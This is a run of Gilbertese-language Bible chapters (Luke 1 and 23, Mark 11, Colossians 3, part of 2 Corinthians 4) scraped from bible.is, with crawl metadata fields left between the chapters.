Atua ni bongin aia tai n tei ana koraki n ibonga, 9ao e reke n te kaiwa, n ai aron aia katei ibonga, bwa ngaia ae e na rin n te ru are e tabu i nanon te umwantabu bwa e na kabuoka te karea ae te bwai ae e boiarara. 10Ao a tataro aomata aika a bati i tinanikun te ru are e tabu ngke e kabuoki karea ake a boiarara Takaria. 11Ao e kaoti nakoina ana anera te Uea n tei man te angaatai n iteran te baonikarea are a kabuokaki iai karea ake a boiarara. 12E kiriwe nanon Takaria ngke e nooria, ao e taonaki n te maaku. 13Ma e taku te anera nakoina, Tai maaku, Takaria, bwa E ongo am tataro te Atua, ao buum ae Nei Eritabeta, ane e na bungia natim te mwaane, ao ko na aranna bwa Ioane. 14Ane ko na kaonaki n te kukurei ae moan te bati, ao ane a na kimwaareirei aomata aika bati ni bungiakina; 15bwa ane e na kakannato i matan te Uea, ao e na aki nima te wain ae e kamanging ke mooi aika matoatoa, ao e na kaonaki n te Taamnei are e Raoiroi, man te tai are e mena iai i nanon biroton tinana. 16Ane e na kaokiia Iteraera aika bati bwa a na manga ira nanon te Uea ae Atuaia, 17ao ane e na ri moa te Uea ma te nano ae e korakora ao ae e mwaaka n ai aron are iroun te buraabeti are Eria, bwa e na kaoki aroia n reitaki ae e tamaaroa kaaro nakoia naati, ao ake a aki ongeaaba nakoni wanawanaia aomata ake a raoiroi. Ane e na buoki nanoia aomata bwa a aonga n tauraoi ibukin te Uea. 18Ao e taku Takaria nakon te anera, Tera te bwai ae N na ataia iai bwa e koaua anne? Bwa I a unimwaane ao e a kara buu. 19E kaeka te anera ao e taku, Kaberiera ngai, ae ana tabonibai te Atua; ao I kanakomaiakaki bwa N na taetae nakoim, ao bwa N na uota te rongorongo ae e raoiroi aei nakoim. 20Ao nooria, ane e na bua bwanaam ao ko na aki konaa n taetae ni karokoa te bong are a na kakoroaki iai nanoni baikai, ibukina bwa ko a tia n aki kakoauaa au taeka aika a na kakoroaki bukiia ngkana a roko taiia. 21A bane aomata n tataningaa Takaria, ao a miimii ngke e a maan i nanon te ru are e tabu. 22Ngke e oti nako, ao e aki konaa n taetae nakoia, ao a ataia bwa iai te bwai ae e kamiimii ae e a tia n nooria i nanon te ru are e tabu; ao e teimatoa arona n aki konaa te taetae. 23Ngke a bane bongin ana tai ni mwakuri Takaria n te umwantabu, ao e oki nakoni mwengana. 24Ao i mwiini boong akekei, ao e bikoukou buun Takaria are Nei Eritabeta, ao e aki otiotinako man te auti i nanon nimaua te namwakaina. E taku Nei Eritabeta, 25E karaoa ae aron aei te Uea nakoiu ni boong ake E nanoangaai iai, bwa E na kaaki mai irou te bwai ae I maamaa iai irouia aomata. 26Ngke ai ana kaonoua n namwakaina Nei Eritabeta ao E kanakoaki te anera are Kaberiera mai iroun te Atua nakoni kaawan Kariraia ae arana Natareta, 27bwa e na kawara te teinaine ae e tuai iein ae e kabae ma te aomata ae arana Iotebwa, ae kaain ana utu Tawita; aran neiei boni Nei Maria. 28E roko Kaberiera irouna ao e taku, Ko na mauri, ngkoe ae e reke iroum te aakoaki, E mena iroum te Uea. 29Ngke e ongo Nei Maria ana taeka Kaberiera ake e taekin ao e kakiriweeaki nanona, ao e iango i nanona bwa tera nanon te aeka ni kamauri arei. 30E taku Kaberiera nakoina, Tai maaku, bwa E a reke iroum te aakoaki mai iroun te Atua. 31Ao nooria, ane ko na bikoukou ao ane ko na bungia te nati te mwaane, ao ko na aranna bwa Iesu. 32Ane E na kakannato, ao E na aranaki bwa Natin te Atua are Moan te Rietata; ao te Uea ae te Atua, E na anganna te nakoa n uea n ai aron are e a tia n reke ngkoa iroun Tawita are ana bakatibu; 33ao ane E na uea i aoia aomata nako ake a riki mai iroun Iakobwa; ao e na akea tokin ueana. 34E taku Nei Maria nakon te anera, E na kangaa n riki aei, ngkai I tuai n iein? 35E taku te anera nakoina, Ane E na ruoniko te Taamnei are e Raoiroi, ao ane e na rabuniko mwaakan te Atua are Moan te Rietata; ma ngaia are te teei ane e na bungiaki, E na atongaki bwa Raoiroi, ae Natin te Atua. 36Ao nooria, e a tia am koraki are Nei Eritabeta ni bikoukoua te nati te mwaane ngkai e a boni kara; ao ai ana kaonoua n namwakaina aei ni bikoukou neiere atoatongaki bwa e kanoaboo. 37Bwa akea te bwai teuana ae e na aki konaaki ni karaoaki iroun te Atua. 38Ao e kaangai Nei Maria, Aio ngkai ae ana toro te Uea; e na karaoaki nakoiu n ai aron am taeka. Ao e nako te anera mai irouna. 39E aki maan i mwiina, ao e tei rake Nei Maria ao e kawaetataa n nako n te kaawa teuana ae e mena n te tabo ae e tabukibuki i Iuta, 40ao e rin i nanon ana auti Takaria ao e kamauri ma Nei Eritabeta. 41Ngke e ongo Nei Eritabeta ana kamauri Nei Maria, ao te teei are i nanoni birotona, e rina ni kamwakuri; ao e kaonaki Nei Eritabeta n te Taamnei are e Raoroi 42ao e takaarua n te bwanaa ae e korakora, Boni ngkoe te aine ae e rangi ni kakabwaiaaki i buakoia aine ni kabane, ao e na kakabwaiaaki te ataei ane ko na bungiia! 43Ao e aera ngkae e reke aei irou, ae e na kawarai tinan au Uea? 44Bwa nooria, ngke I ongo bwanaam ni kamauri ao e rina ni kamwakuri te teei i nanoni birotou bwa e kukurei. 45Ao e a kabwaia neie onimaki bwa e na kakoroaki bukin te baere e taekinaki nakoina mai iroun te Uea. 46Ao E taku Nei Maria, N na neboa te Atua n nanou ni koaua, 47Ao e kimwaareirei nanou iroun te Atua are au Tia Kamaiu. 48Bwa E mwannanoa aron mangorin ana toro te aine. Bwa nooria, ma ngkai ao ane a na atongai rooro nako bwa I a kabwaia; 49Bwa E a tia Teuare e Mwaaka ni karaoi baika a abwaabwaki i bukiu, moan te tabu arana. 50E nanoangaia aomata ake a karinea man te rorona nakon te rorona. 51E karaoi mwakuri aika mwaaka ni baina, E kamaaeia nako akana kainikatonga n iangon nanoia. 52E kabwakaia akana korakora man aia kaintokanuea, ao E karietaataia akana mangori; 53E katoki nanoia akana aki kaubwai ni baika a raraoi, ao E kanakoia akana kaubwai n aki kabwaibwaiia. 54E buokiia Iteraera ake ana toro, Bwa kanuringan ana nanoanga n aki toki, 55N aron are E taekinna nakoia ara bakatibu, are Aberaam ma ana kariki. 56Ao e maeka Nei Maria ma Nei Eritabeta i nanon tao tenua te namwakaina, ao e a manga okira mwengana. 57E a roko ana tai ni bung Nei Eritabeta, ao e bungia te nati te mwaane. 58Ao a ongo raon nako Nei Eritabeta ma ana utu bwa E rangi n aakoi te Uea nakoina, ao a kimwaareirei ma ngaia. 59Ao n te kawanibong, a roko n raona te teei n ana tai ni koroberoaki; ao a kan aranna bwa Takaria bwa ingoan tamana. 60Ma e taetae tinana ni kaangai, Tiaki; ma e na aranaki bwa Ioane. 61Ao a taku nakoina, Akea i buakoia am utu ae arana te ara aei. 62Ao a karaoi kanikina nakon Takaria n te ara are e na katokaaki i aon te teei. 63Ao e tuangiia te bwai ae e na koroboki iai i aona, ao e korea ae e kaangai, Arana Ioane. Ao a bane ni miimii. 64N te tai naba arei ao e oki arona n taetae ao e a konaa te kamwakura newena, ao e taetae n neboa te Atua. 65Ao a rootaki n te maaku aomata nako ake a maeka i rarikin Takaria ma Nei Eritabeta; ao a taekinaki baikai ni kabane n taabo ake a tabukibuki i Iutaia. 66Ao ake a ongo a kaawakin i nanoia ao a kaangai, Tera aron te teei aei rimwi? Bwa e kaawakinaki iroun te Atua. 67Ao e kaonaki tamana are Takaria iroun te Taamnei are e Raoiroi, ao e taetae n ai aron te buraabeti ni kaangai, 68E na neboaki te Uea ae Atuaia Iteraera, bwa E kawariia ana aomata ao E kamaiuiia, 69Ao E katauraoa te tia Kamaiu ae e mwaaka i bukira, ae kaain ana utu Tawita are ana toro. 70N ai aron are E taekinna ni wiia ana buraabeti ake a raoiroi ake a maiu ngkoa: 71Bwa ti na kamaiuaki mai irouia aiara, ao mai nanoni baiia te koraki ake a ribaira; 72Bwa E na kaota te nanoanga nakoia ara bakatibu n aron are E berita iai; ao bwa E na uringa ana berita are e raoiroi, 73are te taeka ni bau are E taekinna nakon tamara are Aberaam, 74Bwa E na kamaiuira mai nanoni baiia ara kairiribai, ao ti na toro irouna ma te aki maaku, 75N te itiaki ma te raoiroi i matana i nanoni boong ni kabane ake ti maiu iai. 76Ao ngkoe, ae te teei, ko na atongaki bwa ana buraabeti te Atua are Moan te Riertata; bwa ko na nako n ri moan te Uea ni katauraoa kawaina, 77Ni kaotia nakoia aomata bwa a na ataia ae a na kamaiuaki iroun te Atua ni kabwaraan aia bure, 78N ana nanoanga Atuara, 79N anga te oota nakoia ake a mena n te roo ao n nuun te mate, ao ni kairiira nakoni kawain te kamaiu. 80Ao e ikawai rake te teei, ao e reke irouna te nano ni mwaane. E mena n te rereua ni karokoa te tai are e kaoti iai nakoia Iteraera.\nRUKA 1","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/1","date":"2014-03-10T19:50:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010990749\/warc\/CC-MAIN-20140305091630-00092-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1896,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao a bane ngkanne n tei rake te koraki ao a kaira Iesu nakoni Birato. 2Ao a bukinna ni kaangai, E reke iroura Teuaei ngke E tabe n anaa nanon ara bootanaomata aei ni kabwaouaa, ao E tukiira bwa ti na aki kabwakai ara taekiti nakoni Kaitara, ao E taku bwa Ngaia bon te Kristo ae te uea. 3Ao e titirakinna Birato, ni kaangai, Aia Uea I-Iutaia Ngkoe? Ao Ngaia E kaeka, ni kaangai, Ngaia ane ko taku. 4Ao e taku Birato nakoia aia mataniwi ibonga ao nakoia aomata, Akea te bwai ae e buaakaka ae I kunea iroun te Aomata aei. 5Ma a kakorakorai bwanaaia ni kaangai, E kakiriweei nanoia aomata n ana reirei i aon Iutaia ni kabutaa, ni moa mai Kariraia ni karokoa naba te tabo aei. 6Ngke e ongo aei Birato, ao e titiraki bwa tao te I-Kariraia te Aomata arei. 7Ao ngke e a ataia bwa E mena n te aba are e reke i aan ana tautaeka Erote, ao e kanakoa nakon Erote, are e mena i Ierutarem n te tai anne. 8Ngke e noora Iesu Erote, ao e rangi ni kukurei bwa e a kaman ingainga nanona ni kan nooria, ibukin ae e a kaman tia n ongo taekana, ao iai ana kaantaninga bwa e kan nooria ni karaoa te mwakuri ae e kamiimii. 9Ao e kabatiai ana titiraki nakon Iesu, ma akea ana kaeka ae E anga. 10Ao a kakorakorai bwanaaia aia mataniwi ibonga ma taani koroboki, ake a tei ikekei, ni kabuaakakaa. 11Ao Erote ma ana tautia, a kaota te aro n aki karinerine nakoina, ao a kakanikoa; ao ngkanne a katokaa i aona te kunnikai ae e tamaaroa, ao a manga kaokia nakoni Birato. 12A riki n i raorao Erote ma Birato n te bong naba arei, bwa a i kairiribai rimoa. E a taekinaki n te Euangkerio aei bwa Iesu boni Ngaia kanoan te taeka n akoi, are E taekinaki iai bwa bon aia Tia Kamaiu te bootanaomata ae Iteraera ao aia Tia Kamaiu kaain aonnaba ni kabaneia. E a kaotia Ruka n te boki aei, bwa ana mwakuri Iesu mai iroun te Atua bon te tataekina te rongorongo ae e raoiroi nakoia ake a aki kaubwai; ao e on te boki aei n rongorongoia aomata aika kai nanoia n aaro nako. E otioti naba n te boki aei taekan te kimwaareirei, ai moara riki ni mwakoro ake ni moan riki te boki aei ake a taekinaki iai taekani bungiakin Iesu, ao ni kabaneani mwakoron te boki, are e a taekinaki iai rieraken Iesu nako karawa. Bon te tia korea naba te boki aei are e korea te boki ae Aia Mwakuri Taan Tuatua. 18Ao a bane n takaarua ni kaangai, Kamatea Teuaei, ao ti tangira Bwarabwa bwa e na kainaomataaki. 19Te aomata ae e a tia ni karinaki n te karabuuti ibukinibukinana n te kiriwe are e a tia n riki n te kaawa, ao ibukin tiringan te aomata irouna. 20Iai nanoni Birato ni kani kainaomataa Iesu, ma ngaia are e a manga taetae riki nakoia; 21ma a takaarua ni kaangai, Kamatea n te kaibangaki, Kamatea n te kaibangaki! 22Ao e taku nakoia te katenua n tai, Bwa tera te buaakaka are E a tia ni karaoia? I aki kunea te bure ae e riai matena iai; ma ngaia ae N na kataerea ao N na kainaomataa. 23Ma a kakorakorai bwanaaia n takaarua n tuanga Birato bwa E na kamatea n te kaibangaki. Ao a tokanikai bwanaaia. 24Ao e karaoa ana baaire Birato bwa e na iraki nanoia aomata. 25E kainaomataa te aomata are a tangiria are a tia ni kainaki i nanon te karabuuti ibukin te kiriwe ma kamatean te aomata; ao e anga Iesu bwa E na kamateaki n ai aron are a tangiria I-Iutaia. 26Ao ngke a kairia nako, ao a kaaitibo ma te aomata ae arana Timon ae te I-Kurene, ae e nako man te nukamotu, ao a taua ma te matoa, ao a katokaa i aona te kaibangaki bwa e na uotia n ri mwiin Iesu. 27A iria aomata aika bati, ao iai naba aine i buakoia ake a tang ma ni bwaebwaeti ibukina. 28Ao E rairaki Iesu nakoia, ao E taku, Natin Ierutarem aika aine, tai tang i bukiu, ma kam na tang i bukimi ao i bukiia natimi. 29Bwa nooria, ane a na roko boong ake a na kaangai iai, A a kabwaia akana kanoaboo, ma biroto akana aki bung, ma mamma akana tuai ni kammammaiia ataei! 30Ao ane a na kaangai nakoni maunga, Kamanatuaira; ao nakon tabuki, Tauniira. 31Bwa ngkana a karaoi baikai nakoiu, Ngai ae kaanga kabootauan te kai ae e maiu, ao tera ae e na riki nakoimi, ngkami ae kaanga kabootauan te kai ae mwauu? 32Iai naba uoman, aika taani kamwarua, ake a kairaki nako bwa a na kamateaki ma Ngaia. 33Ao ngke a roko n te tabo are e aranaki bwa te Tabwanou, ao a tauria iai n te kaibangaki; a tauriia naba n te kaibangaki taani kamwarua akekei, temanna i rarikin Iesu man te angaatai, ao temanna i rarikina man te angamaing. 34Ao E taku Iesu, Tamau, kabwaraa aia bure; bwa aki ataa ae a karaoia. Ao a kakaaea n te mwakuri ni kaiwa bwa antai ae e na reke tibwana ni kunnikain Iesu. 35Ao a tei aomata ni mataku; a kakanikoa aia mataniwi I-Iutaia, ao a kaangai, E Kamaiuia aomata, ao ke E kamaiua i bon irouna, ngkana ana Kristo te Atua, ae E rineaki irouna! 36A kakanikoa naba tautia, ao a nakoina n anganna te wain ae e kamangingi, 37ao a kaangai, Ngkana aia Uea I-Iutaia Ngkoe, ao kamaiuko. 38Iai te koroboki i etana ae e kaangai, Aei Aia Uea I-Iutaia. 39Ao e taetae ni maraki n nano temanna irouia taani kamwarua ake a tauraki n te kaibangaki, ao e kaangai, Tiaki bon te Kristo Ngkoe? Ko na kamaiuko ma ngaira. 40Ma e takuia te kamwarua are temanna, ao e kaangai, Ko aki maaka te Atua, ngkai ko katuaaeaki n ai arona? 41Ao ngaira, e bon riai n reke aei iroura; bwa ti karekea mwiin are ti a tia ni karaoia, ao Teuaei E aki karaoa ae e buaakaka. 42Ao ngaia e taku, Iesu, uringai n aakoai ngkana Ko riki bwa te Uea. 43Ao E taku Iesu nakoina, E koaua ae I a tuangko bwa n te bong aei ao ko na mena ma Ngai i Bwaretaiti. 44Tao e a tawanou, ao e roo aon te aba ni kabanea ni karokoa te aoa tenua n te tanimaeaontaai: 45e a mauna ootan. Ao e raeuaki te kunnikai are rokin te umwantabu nakoni mwakoro aika uoua. 46Ao E taetae ngkanne Iesu n te bwanaa ae e korakora, ao E kaangai, Tamau, taamneiu i nanoni baim! Ao ngke E tia n atonga aei, ao E mate. 47Ao mataniwiin te taanga ni buaka are tebubua kaaina, ngke e noora te baere e riki, ao e karaoiroa te Atua, ni kaangai, Bon te aomata ae akea ana bure Teuaei. 48Ao aomata ni kabaneia ake a bootaki ni mataku, ngke a noori baikekei ao a okira mwengaia n ororei bwabwaaia n nanokaawaki. 49Ao raona ni kabaneia, ma aine ake a iria mai Kariraia, a tei i kiiraroa ni mataku ni baikekei. 50Iai temanna te aomata ae arana Iotebwa, ae kaain te kaawa n Iutaia ae Arimataia. Kaain te Tanirim ngaia, ao te aomata ae e raoiroi ao e bwaabwaina te eti ni maiuna, 51ao e aki boboonnano ma kaain te Tanirim n aia babaaire ao n aia mwakuri, ao e kakaantaninga rokon Uean te Atua. 52E nako teuaei ni kawara Birato ao e butiia rabwatan Iesu. 53E karuoa ngkanne rabwatan Iesu, ao e niiria n te kunnikai ae e tamaaroa, ao e kawenea i nanon te nne ni mate ae e ekeaki i nanon te tabo ae e bwa, ao e tuai meni kaweneaki iai te mate. 54Arei te bong are a katauraoi iai bwaai I-Iutaia ibukin te taabati ngke e a kan roko. 55Ao aine ake a roko ma Ngaia mai Kariraia, a rimwi ao a noora te nne ni mate ma aron rabwatan Iesu ngke e kaweneaki. 56A oki ngkanne, ao a karaoi baika a boiarara ma kabira. A motirawa n te taabati n ai aron taekana n te tua.\nRUKA 23","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/23","date":"2014-03-17T16:33:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705763\/warc\/CC-MAIN-20140313024505-00086-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1374,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a a ua kaan ma Ierutarem ao kaawa ake Betebwake ma Betania, ngke a mena n te maunga are Oriweta, ao Iesu E kanakoia uoman ana reirei bwa a na ri moa; 2ao E taku nakoia, Naako n te kaawa ane i mwaaimi. Ngkana kam roko iai, ao ane kam na kunea te aati te teei ae e rooaki ae e tuai n tokaraki aona. Kabwara, ao kairia mai. 3Ngkana e kaangai temanna nakoimi, E aera ngkai kam karaoa anne? Ao kam na kaangai, E tangiria te Uea, ao E na manga kaokia n te tai ae e waekoa. 4Ma ngaia are a nako, ao a kunea te aati te teei i tinaniku ae e rooaki ma mataroan te auti. 5Ngke a tabe ni kabwaraa roon te aati te teei, ao a titirakinaki irouia aomata ake a teitei n ua kaani ma ngaiia, ao a kaangai, E aera ngkai kam kabwaraa te aati te teei? 6A kaeka n ai aron tuangaia iroun Iesu, ao a kanakoaki irouia aomata akekei. 7A kaira te aati te teei nakon Iesu; a katokai kunnikaia i aona, ao E toka Iesu i aona. 8Ao aomata aika a mwaiti a taakini kunnikaiia i nanon te kawai, ao temwaangina a korei mwaangani kaai man te tawaana ao a kawenei n te kawai. 9A takaarua te koraki ake a ri moan Iesu ao ake a ri mwiina ni kaangai, E na neboaki te Atua! Te Atua, kakabwaia Teuae nako mai n aran te Uea! 10Te Atua, kakabwaia rokon uean te uea are Tawita, are tamara! E na neboaki te Atua! E roko Iesu i Ierutarem, ao E rin n te umwantabu, 11ao E taratarai bwaai nako. Ngkae e a bwakanako te tai bwa e a kaani bong, ao E nako Iesu ma ana reirei ake tengauni ma uoman nako Betania. 12N te bong are i mwiina, ngke a tabe n nakonako i aoni kawaia n oki mai Betania, ao E taonaki n te baki Iesu. 13E noora mai kiiraroa te kai ae te biiku bwa a maiu reirei baana. Ma ngaia are E nako iai bwa E kan noori uaana. Ma ngke E roko iai, ao akea te bwai ae E nooria bwa ti baana, ibukina bwa e tuai n roko aia tai n uaa kaai aika biiku. 14Ao E taku Iesu nakon te kai arei, Akea te aomata ae e na manga kana uaam ma ngkai ao nakon taai rimwi. A ongo bwanaana ana reirei. 15Ngke a roko i Ierutarem, ao E nako n te umwantabu Iesu ao E kakionakoia aomata ake a boobwai ma ake a kaboo nako bwaai. E karangai aia taibora taan rai mwane, ma aia kai n tekateka taani kaboo nako bitin; 16ao E tukiia aomata bwa a na akea temanna ae e na uota te bwai teuana ri nanon te umwantabu. 17E reireiia ngkanne aomata ao E taku nakoia, E koreaki n te Baibara ana taeka te Atua a e kaangai, E na atongaki au umwantabu bwa te tabo n tataro i bukiia aomata nako. Ma kam a tia ni karaoia bwa nneia ni maeka taani kimoa. 18A ongo taekan aei ibonga ake mataniwi ma taani koroboki; ma ngaia are a ukoukora te anga are a na kamatea iai Iesu. A maakua, ibukina ngke a miimii aomata n ana reirei. 19E kiitana te kaawa Iesu ma ana reirei ngke e a tairiki. 20Ngke e moa n iangabong n te bong are i mwiina, ngke a nakonako i nanon te kawai, ao a noora te kai are te biiku bwa e rai mai taberana nakoni wakana. 21E oki ana ururing Betero, ao e taku nakon Iesu, Te Tia Reirei, te kai are te biiku are Ko taetae ni kamaraiaa, e a mate! 22E kaekaia Iesu ao E taku, Kam na onimakina te Atua. 23E koaua ae I tuangkami bwa ane e kaangai nakon te maunga aei, Ko na tabekaki nako, ao bwaka i tari, ao e aki nanokokoraki i nanona ma e onimaki bwa e na koro bukin are e taekinna, ao e na boni karaoaki ibukina. 24Ma ngaia ae I taku nakoimi bwa te bwai ane kam buubuti n ami tataro, ao kam na onimaki bwa e na reke iroumi, ao e na bon reke. 25Ao ngkana kam tei n tataro, ao kabwaraa buren are e titiku i nanomi are e a tia n riki bwa eekakinakoan temanna iai iroumi, bwa E aonga Tamami are i karawa ni kabwarai ami bure aika kam a tia ni karaoi. 27A manga roko i Ierutarem. Ngke E nakonako Iesu i nanon te umwantabu, ao a nakoina ibonga ake mataniwi ma taani koroboki ma unimwaane, 28ao a taku nakoina, Te mwaaka ra ae Ko karaoi iai baikai? Ke antai ae e anganiko te mwaaka aei bwa Ko na karaoi baikai? 29E kaekaia Iesu ao E taku, N na titirakiningkami! Kam na kaeka, ao Ngai N na tuangkami bwa te mwaaka ra ae I karaoi iai baikai. 30Mai karawa ana bwaabetiito Ioane ke mai irouia aomata? Kaekaai. 31A kauntaeka irouia ao a taku, Ngkana ti kaangai, Mai karawa, ao ane E na kaangai, E aera bwa kam aki onimakinna? 32Ma ngkana ti kaangai, Mai irouia aomata, ao a maakuia aomata, bwa a taku bwa Ioane bon te buraabeti ni koaua. 33Ma ngaia are a taku nakoina, Ti aki ataia. E taku Iesu nakoia, I aki konaa naba n tuangkami bwa te mwaaka ra ae I karaoi iai baikai.\nMAREKO 11","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/11","date":"2014-03-15T00:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678695499\/warc\/CC-MAIN-20140313024455-00007-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":903,"character_repetition_ratio":0.054,"word_repetition_ratio":0.002,"special_characters_ratio":0.244,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngkai kam a manga uaia ni maiu ma Kristo man te mate, ao kam na ukoukori bwain eta, ike E mena iai Kristo n tekateka i angaatain te Atua. 2Kam na iangoi bwain eta, ao tai iangoi bwain aon te aba. 3Bwa kaanga ai aron ae kam a tia ni mate, ao a karabaaki maiumi ma Kristo i nanon te Atua. 4Ngkana E kaotaki Kristo, are maiura, ao ane kam na kaotaki naba ma Ngaia n neboaki. 5Ma ngaia ae kam na kamate aron rabwatami akana bwain aon te aba, aika te wene ni bure, te kammaira, te kaibwabwaru, te tangira ae e buaakaka, ao te mataai ni kanibwaibwai ae ti te bo arona ma taromauriian te bouananti. 6I bukin aaro akanne, ao E na roko iai unin te Atua i aoia ake a aki ongeaaba nakoina. 7Kam maiuakin aaro akanne ngkoa, ngke kam mena i nanoia. 8Ma ngkai, kam na aki manga karaoi baikai: te un, te nanobuaka, te kareke-kai, te taetaebuaka, ao te taetae ae e aki riai mai wiimi. 9E na tai kewe temanna nakon temanna ngkai kam a tia ni kaaki te aro ni maiu ngkoa ma kateina, 10ao kam a tia ni karina i aomi te aomata ae e boou, are e teimatoa arona ni kakaboouaki iroun Teuare e karikia bwa katootoongana, bwa kam aonga n ataia raoi. 11Ao n te aro aei, akea iai te kaokoro i marenan te I-Erene ma te I-Iutaia, te koroberoaki ma te aki-koroberoaki, te aomata ae tiaki te I-Erene, te I-Tekute, te toro ma te inaomata: ma ae E moamoa i aoni bwaai ni kabane boni Kristo, ae E mena iroura ni kabane. 12Ma ngaia aei, ngkai ana aomata te Atua ngkami aika kam rineaki, aika kam itiaki ma n tangiraki, ao kam na bwaina te nano n nanoanga, te atataiaomata, te nanorinano, te nimamannei, te taotaonaki n nano. 13Kam na i taotaon nanomi, ao kam na i kabwaraa bure iroumi, ngkana iai aki raun nanon temanna iroun temanna. Bwa aron te Uea ni kabwaraa ami bure, ao ai bon aromi naba nakoimi. 14Ao kam na bwaina te tangira i aoni baikai ni kabane, bwa ngaia ae e booti ni kabaei bwaai ni kabane. 15Ao te raoi are mai irouni Kristo e na kairi nanomi; bwa ngaia are kam weteaki nako iai, bwa kam na riki bwa te rabwata ae ti teuana. Ao kam na katituaraoi. 16E na titiku ni maeka ana taeka Kristo i nanomi; ao kam na anenei taekan Taian Areru ma anene ma kuuna aika kam kairaki iai iroun te Taamnei; kam na anene nakon te Atua ma te nano ni katituaraoi. 17Ao bwaai ni kabane akana kam karaoi ke kam taekin a riai ni bane ni karaoaki n aran te Uea are Iesu, ao kam na katituaraoa te Atua ae te Tama N ibukini Kristo. 18Ainenumwa, kam na aan-taeka irouia bumi, bwa anne te aro ae e riai ngkai kam reitaki ma te Uea. 19Mwanenuma, kam na tangiriia bumi, ao kam na tai unun nakoia. 20Ataei, kam na ongeaaba nakoia ami karo ni bwaai ni kabane, bwa anne te bae E kakukureiaki iai te Uea. 21Taama, kam na tai kabonoi nanoia natimi, bwa a kaawa ni bwara nanoia. 22Tooro, kam na ongeaaba nakoia ami toka aika aomata ni bwaai ni kabane, tiaki ti ibukini kakukureiaia ngkana a taraingkami; ma kam na karaoia ma nanomi ni koaua, ni maaka te Uea. 23Ao tera ane kam karaoia, kam na karaoia ma nanomi ni koaua, bwa kaanga ibukin te Uea, ao tiaki i bukiia aomata; 24ngkai kam ataa te Uea bwa E nang anganingkami bwa boon ami mwakuri te baere E a tia ni kaawakinna i bukiia ana aomata. Bwa Kristo boni Ngaia te Toka ni koaua are kam toro irouna. 25Bwa ane e karaoa ae e buaakaka ao e na karekea booni mwiin ana mwakuri, ao akea te aomata ae e na nanonaki.\nKOROTE 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Col\/3","date":"2014-03-17T16:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705763\/warc\/CC-MAIN-20140313024505-00097-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":650,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkae e reke iroura te mwakuri aei n ana nanoanga te Atua, ao a aki bwara nanora; 2ma ti aki maiuakini baika a raba aika bwaai ni kamamaa, ao ti aki bwaina te maiu ni bureburea te aba; ao ti aki naba kabwaouaa ana taeka te Atua. Ma ti kaotioti arora aika a raraoi, ni kaotiotan te koaua nakoni mataniwiin nanoia aomata ni kabaneia i matan te Atua. 3Ao ngkana e rabunaki ara euangkerio, ao e rabunaki nakoia ake a nangi mate; 4bwa a a tia n rabunaki nanoia aomata aika tiaki taan onimaki iroun atuan te aonnaba aei, bwa a na aki noora ootan euangkerioni mimitongini Kristo, are katootoongan te Atua. 5Bwa ti aki taekinira, ma ti taekina Kristo Iesu bwa te Uea, ao ngaira bwa ami toro ibukin Iesu. 6Bwa bon te Atua, are e kaangai: 4.6: Karikani-Bwaai 1.3 E na oota te oota mai buakon te roo. Bon te Atua naba aei are kaota ana oota i nanora, bwa ti na ataa mimitongin te Atua bwa e oota man ubun Iesu. 7Ma iai iroura ngaira aika ai aroia mwangko taano, te bwai ae e kakaawaki aei, bwa e aonga n ataaki bwa te mwaaka ae e korakora boni mwaakan te Atua, ao tiaki mwaakara. 8Ti kaaitara ma te rawaawata n aaro nako, ma ti aki konaaki iai; ti babanga arora, ma a aki bwara nanora; 9ti bwainikiriinaki, ma ti aki kiitanaki; ti kabwakaaki, ma ti aki kamateaki; 10ao ti uouota n taai nako maten Iesu i aon rabwatara, bwa e aonga ni kaotaki naba maiun Iesu i aon rabwatara. 11Bwa ngkai ti maiu ao ti aki toki ni kaaitara ma te kaangaanga ae e kaan ae ti na mate iai ibukin Iesu, bwa e aonga ni kaotaki maiun Iesu i nanon rabwatara aika a maamate. 12Ma ngaia ae e mwamwakuri te mate i nanora, ma te maiu i nanomi. 13Bwa e koreaki ae e kaangai: I onimaki, ma ngaia are I taetae. Ngkai iai iroura te onimaki ae ti te bo arona ma aei, ao ngaia ae ti taetae naba; 14bwa ti ataia bwa Teuare E a manga maiu ara Uea are Iesu irouna, ti na maiu naba irouna ni bootaki ma Iesu, ao E na kaotira ma ngkami i matan Iesu. 